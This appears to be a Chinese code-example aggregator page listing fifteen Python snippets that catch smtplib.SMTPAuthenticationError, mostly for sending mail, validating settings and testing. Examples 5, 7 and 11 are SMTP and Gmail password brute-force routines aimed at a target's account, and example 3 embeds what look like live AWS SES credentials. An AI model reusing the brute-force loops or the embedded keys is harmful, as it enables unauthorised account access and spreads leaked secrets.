本文整理汇总了Python中smtplib.SMTPAuthenticationError方法的典型用法代码示例。如果您正苦于以下问题:Python smtplib.SMTPAuthenticationError方法的具体用法?Python smtplib.SMTPAuthenticationError怎么用?Python smtplib.SMTPAuthenticationError使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类smtplib
的用法示例。
在下文中一共展示了smtplib.SMTPAuthenticationError方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: do_login
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def do_login(self):
self.smtp.starttls()
self.CONNECTED_TLS = True
print self.CORE_STRING + " Attepting Sign In..."
try:
self.IS_LOGGED_IN = True
self.smtp.login(self.GMAIL, self.PASSWORD)
time.sleep(1)
print self.INFO_STRING + " Logged In!"
time.sleep(0.57)
## ATTEMPTING SMTP LOGIN
except smtplib.SMTPAuthenticationError:
self.SMTP_AUTHENTICATION_ERROR = True
print self.ERROR_STRING + "SMTP Login Error :: Could Not Validate Credentials."
return False
sys.exit(1)
except:
pass
示例2: inter_send_email
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def inter_send_email(
username: str, password: str, sender_email: str, receiver_email: Union[str, List],
message: str
):
"""
Send email using SMTP
"""
show_message("SMTP", message)
click.confirm("Is the Email message ok?", abort=True)
try:
send_email(
SMTP_SERVER, SMTP_PORT, username, password, sender_email, receiver_email, message,
)
click.secho("✅ Email sent successfully", fg="green")
except smtplib.SMTPAuthenticationError:
sys.exit("SMTP User authentication error, Email not sent!")
except Exception as e: # pylint: disable=broad-except
sys.exit(f"SMTP exception {e}")
示例3: _send_message
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def _send_message(message):
smtp = smtplib.SMTP_SSL('email-smtp.eu-west-1.amazonaws.com', 465)
try:
smtp.login(
user='AKIAITZ6BSMD7DMZYTYQ',
password='Ajf0ucUGJiN44N6IeciTY4ApN1os6JCeQqyglRSI2x4V')
except SMTPAuthenticationError:
return Response('Authentication failed',
status=HTTPStatus.UNAUTHORIZED)
try:
smtp.sendmail(message['From'], message['To'], message.as_string())
except SMTPRecipientsRefused as e:
return Response(f'Recipient refused {e}',
status=HTTPStatus.INTERNAL_SERVER_ERROR)
finally:
smtp.quit()
return Response('Email sent', status=HTTPStatus.OK)
示例4: send
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def send(sender,to,password,port,subject,body):
try:
if not Mail.__disabled__:
message = MIMEText(body)
message['Subject'] = subject
mail = smtplib.SMTP('smtp.gmail.com',port)
mail.starttls()
mail.login(sender,password)
mail.sendmail(sender, to, message.as_string())
mail.quit()
Logging.log("INFO", "(Mail.send) - Sent email successfully!")
else:
Logging.log("WARN", "(Mail.send) - Sending mail has been disabled!")
except smtplib.SMTPAuthenticationError:
Logging.log("WARN", "(Mail.send) - Could not athenticate with password and username!")
except Exception as e:
Logging.log("ERROR",
"(Mail.send) - Unexpected error in Mail.send() error e => "
+ str(e))
pass
示例5: login
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def login():
i = 0
usr = raw_input('What is the targets email address :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for passw in pass_lst:
i = i + 1
print str(i) + '/' + str(len(pass_lst))
try:
server.login(usr, passw)
print '[+] Password Found: %s ' % passw
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
print '[+] Password Found: %s ' % passw
break
else:
print '[!] Password Incorrect: %s ' % passw
示例6: send_email
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def send_email(recipient, subject, html_message, text_message):
""" Send email from default sender to 'recipient' """
# Make sure that Flask-Mail has been initialized
mail_engine = mail
if not mail_engine:
return 'Flask-Mail has not been initialized. Initialize Flask-Mail or disable USER_SEND_PASSWORD_CHANGED_EMAIL, USER_SEND_REGISTERED_EMAIL and USER_SEND_USERNAME_CHANGED_EMAIL'
try:
# Construct Flash-Mail message
message = Message(subject,
recipients=[recipient],
html=html_message,
body=text_message)
return mail.send(message)
# Print helpful error messages on exceptions
except (socket.gaierror, socket.error) as e:
return 'SMTP Connection error: Check your MAIL_SERVER and MAIL_PORT settings.'
except smtplib.SMTPAuthenticationError:
return 'SMTP Authentication error: Check your MAIL_USERNAME and MAIL_PASSWORD settings.'
示例7: smtpBrute0x00
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def smtpBrute0x00(ip, usernames, passwords, port, delay):
s = smtplib.SMTP(str(ip), port)
for username in usernames:
for password in passwords:
try:
s.ehlo()
s.starttls()
s.ehlo
s.login(str(username), str(password))
print(G + ' [+] Username: %s | Password found: %s\n' % (username, password))
s.close()
except smtplib.SMTPAuthenticationError:
print(GR+ " [*] Checking : "+C+"Username: %s | "+B+"Password: %s "+R+"| Incorrect!\n" % (username, password))
sleep(delay)
except Exception as e:
print(R+" [-] Error caught! Exception: "+str(e))
pass
except KeyboardInterrupt:
s.close()
sys.exit(1)
示例8: connection_is_valid
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def connection_is_valid(self):
"""Check for valid config, verify connectivity."""
server = None
try:
server = self.connect()
except smtplib.socket.gaierror:
_LOGGER.exception(
"SMTP server not found (%s:%s). "
"Please check the IP address or hostname of your SMTP server",
self._server, self._port)
return False
except (smtplib.SMTPAuthenticationError, ConnectionRefusedError):
_LOGGER.exception(
"Login not possible. "
"Please check your setting and/or your credentials")
return False
finally:
if server:
server.quit()
return True
示例9: clean
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def clean(self):
cleaned_data = super().clean()
smtp_email_backend = EmailBackend(
host=cleaned_data.get('smtp_host'),
port=cleaned_data.get('smtp_port'),
username=cleaned_data.get('smtp_username'),
password=cleaned_data.get('smtp_password'),
use_tls=cleaned_data.get('smtp_use_tls'),
fail_silently=False,
use_ssl=cleaned_data.get('smtp_use_ssl'),
timeout=cleaned_data.get('smtp_timeout'),
ssl_keyfile=cleaned_data.get('smtp_ssl_keyfile'),
ssl_certfile=cleaned_data.get('smtp_ssl_certfile')
)
try:
smtp_email_backend.open()
except ConnectionRefusedError:
raise ValidationError(_('Connection refused'), code='connection_refused')
except SMTPAuthenticationError as err:
raise ValidationError(str(err), code='auth_error')
return cleaned_data
示例10: inter_send_email
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def inter_send_email(username, password, sender_email, receiver_email, message):
print("--------------------------")
print("SMTP Message")
print("--------------------------")
print(message)
print("--------------------------")
confirm = input("Is the Email message ok? (yes/no): ")
if confirm not in ("Yes", "yes", "y"):
exit("Exit by user request")
try:
send_email(
SMTP_SERVER,
SMTP_PORT,
username,
password,
sender_email,
receiver_email,
message,
)
print("Email sent successfully")
except smtplib.SMTPAuthenticationError:
exit("SMTP User authentication error, Email not sent!")
except Exception as e:
exit(f"SMTP exception {e}")
示例11: gmailBruteForce
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def gmailBruteForce():
smtp_server = smtplib.SMTP("smtp.gmail.com", 587)
smtp_server.ehlo()
smtp_server.starttls()
target = raw_input("\t() Enter The Targets Email Address: ")
passwfile = raw_input("\t() Enter the Password File Path: ")
passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtp_server.login(target, password)
cprint("\t\n[+] Password Found!: %s " % password, 'green')
break
except smtplib.SMTPAuthenticationError:
cprint("\t[*] Trying Password: %s" % password, 'red')
示例12: smtp_password
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def smtp_password(self):
c = self.connection
try:
c.login(self.smtp_username, self.auth_token)
except smtplib.SMTPAuthenticationError as e:
self.log.error('SMTP login refused', exc=e)
raise SendMailException(
'Could not authenticate with the SMTP server.', 403)
except smtplib.SMTPException as e:
# Raised by smtplib if the server doesn't support the AUTH
# extension or doesn't support any of the implemented mechanisms.
# Shouldn't really happen normally.
self.log.error('SMTP auth failed due to unsupported mechanism',
exc=e)
raise SendMailException(str(e), 403)
self.log.info('SMTP Auth(Password) success')
示例13: send_mail
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def send_mail(self, msg):
if _mail.recip:
# write message to temp file for rate limit
with open(self.temp_msg, 'w+') as f:
f.write(msg)
self.current_time()
message = MIMEMultipart()
message['From'] = _mail.s_addr
message['To'] = _mail.recip
message['Subject'] = _mail.subject
message['Date'] = formatdate(localtime=True)
message.attach(MIMEText('{} {}'.format(self.time, msg), 'plain'))
text = message.as_string()
try:
server = smtplib.SMTP(_mail.server, _mail.port)
except socket.error as err:
playout_logger.error(err)
server = None
if server is not None:
server.starttls()
try:
login = server.login(_mail.s_addr, _mail.s_pass)
except smtplib.SMTPAuthenticationError as serr:
playout_logger.error(serr)
login = None
if login is not None:
server.sendmail(_mail.s_addr, _mail.recip, text)
server.quit()
示例14: testAUTH_LOGIN
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def testAUTH_LOGIN(self):
self.serv.add_feature("AUTH LOGIN")
smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15)
try: smtp.login(sim_auth[0], sim_auth[1])
except smtplib.SMTPAuthenticationError as err:
if sim_auth_login_password not in str(err):
raise "expected encoded password not found in error message"
示例15: testAUTH_CRAM_MD5
# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTPAuthenticationError [as 别名]
def testAUTH_CRAM_MD5(self):
self.serv.add_feature("AUTH CRAM-MD5")
smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15)
try: smtp.login(sim_auth[0], sim_auth[1])
except smtplib.SMTPAuthenticationError as err:
if sim_auth_credentials['cram-md5'] not in str(err):
raise "expected encoded credentials not found in error message"
#TODO: add tests for correct AUTH method fallback now that the
#test infrastructure can support it.